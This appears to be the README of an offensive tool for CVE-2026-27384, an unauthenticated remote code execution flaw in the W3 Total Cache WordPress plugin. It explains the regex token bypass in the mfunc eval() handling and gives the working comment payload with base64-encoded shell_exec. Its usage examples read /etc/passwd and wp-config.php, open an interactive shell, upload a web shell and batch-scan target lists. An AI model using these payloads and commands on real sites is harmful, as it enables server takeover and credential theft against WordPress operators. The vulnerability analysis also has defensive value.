
CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。
プラグイン: W3 Total Cache プラグインスラッグ:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS スコア: 9.8 (クリティカル) CVSS ベクター:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H脆弱性タイプ: 認証不要の任意コード実行 (eval()によるコードインジェクション) 影響を受けるバージョン: <= 2.9.1 修正済みバージョン: 2.9.2 公開日: 2026年2月24日 研究者: CODE WHITE GmbH
W3 Total Cache プラグインの Dynamic Fragment Caching 機能 (mfunc/mclude システム) は、
HTML コメント内に埋め込まれた PHP コードを eval() で実行します。
この機能を保護するための W3TC_DYNAMIC_SECURITY トークンは、複数のコード上の欠陥が組み合わさることでバイパス可能です。
結果: 認証を必要とせず、WordPress のコメントを送信するだけでサーバー上で任意の PHP コードを実行できます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| タイプ | Code Injection → RCE (CWE-94) |
| 影響を受けるバージョン | <= 2.9.1 |
| 修正済みバージョン | 2.9.2 |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
| 前提条件 | W3TC_DYNAMIC_SECURITY が正規表現メタ文字を含むこと |
W3TC の Dynamic Fragment Caching 機能は、開発者がページ HTML に 特殊なコメントタグを介して PHP コードを埋め込むことを許可します:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC はこれらのタグをキャッシュからページを提供するときに処理します:
埋め込まれた PHP は eval() で実行され、その出力がコメントブロックの場所に書き込まれます。
preg_quote() の欠如 (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY が直接正規表現に追加されている
// preg_quote() なし → トークンが正規表現パターンとして扱われる
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
トークンが '.' の場合、正規表現は <!--\s*mfunc\s*.(.*)--> となり →
任意の1文字がトークンの代わりとなります。
\s* と \s+ の不一致| 関数 | パターン | 動作 |
|---|---|---|
_parse_dynamic() — 実行する | mfunc\s*TOKEN | 0個の空白を許可 ✅ |
strip_dynamic_fragment_tags_from_string() — 削除する | mfunc\s+TOKEN | 最低1個の空白が必要 ❌ |
攻撃者のペイロード: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfuncとトークンの間に空白なし
strip関数: \s+ → 一致しない → ペイロードが残る
実行正規表現: \s* → 一致する → eval() が実行される
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ defined() チェックのみ — empty() またはメタ文字チェックなし
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (正規表現メタ文字 — 任意の文字)
│
▼
攻撃者がコメントを送信:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
パターン: mfunc\s+[^\s]+ → \s+ が必要、空白なし → 回避 ✅
│
▼
コメントがデータベースに保存され、ページがキャッシュされる
│
▼
2回目のHTTPリクエスト → W3TCがキャッシュから提供
_has_dynamic() → mfunc\s*. → 'A' が一致 → true を返す
│
▼
_parse_dynamic() → preg_replace_callback
パターン: mfunc\s*. → 'A' が一致
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 認証不要のRCE ✓
認証なしで、Webサーバーの権限でサーバー上で任意のPHPコードを実行可能:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| モード | 説明 |
|---|---|
auto | サイトをスキャン → コメントページを発見 → エクスプロイト (デフォルト) |
exploit | 直接エクスプロイト — post URL を使用 |
shell | インタラクティブシェル |
detect | W3TCの検出のみ |
python w3tc_rce.py https://hedef.com
スキャナーは以下を実行:
# id komutu
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
シェルが開かれると、自動的に whoami、hostname、pwd、uname -a が実行されます:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
コマンド: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
Sürüm : 2.9.1
Cache : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
| パラメータ | 短縮 | 説明 | デフォルト |
|---|---|---|---|
url | — | 単一ターゲットURL | — |
--list | -l | ターゲットリストファイル | — |
--mode | — | 動作モード | auto |
--cmd | — | 実行するコマンド | id |
--post-url | — | コメントがあるページのURL | — |
--post-id | — | WordPressの投稿ID | — |
--max-pages | — | スパイダーの最大ページ数 | 50 |
--threads | -t | スレッド数 | 10 |
--output | -o | 出力ファイル | w3tc_results.txt |
--proxy | — | プロキシURL | — |
--no-color | — | 色なし出力 | False |
--verbose | -v | 詳細出力 | False |
標準タグ (stripによって捕捉される):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
空白あり → \s+ が一致 → stripが削除
バイパスタグ (stripを回避し、eval() が実行される):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
空白なし → \s+ が一致しない → stripをバイパス
\s* が一致 → eval() が実行
PHPコードはHTMLエンコードの問題を防ぐためにbase64エンコードされます:
# コマンド: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
| グループ | 関数 | バイパス文字 | エンコーディング |
|---|---|---|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | 全関数 | A, B, X, 1 | 生 |
1. W3TC の検出
└─ readme.txt、ヘッダー、ボディ、プラグインディレクトリ
2. コメントシステムの検出
└─ HTMLフォーム、REST API、投稿ID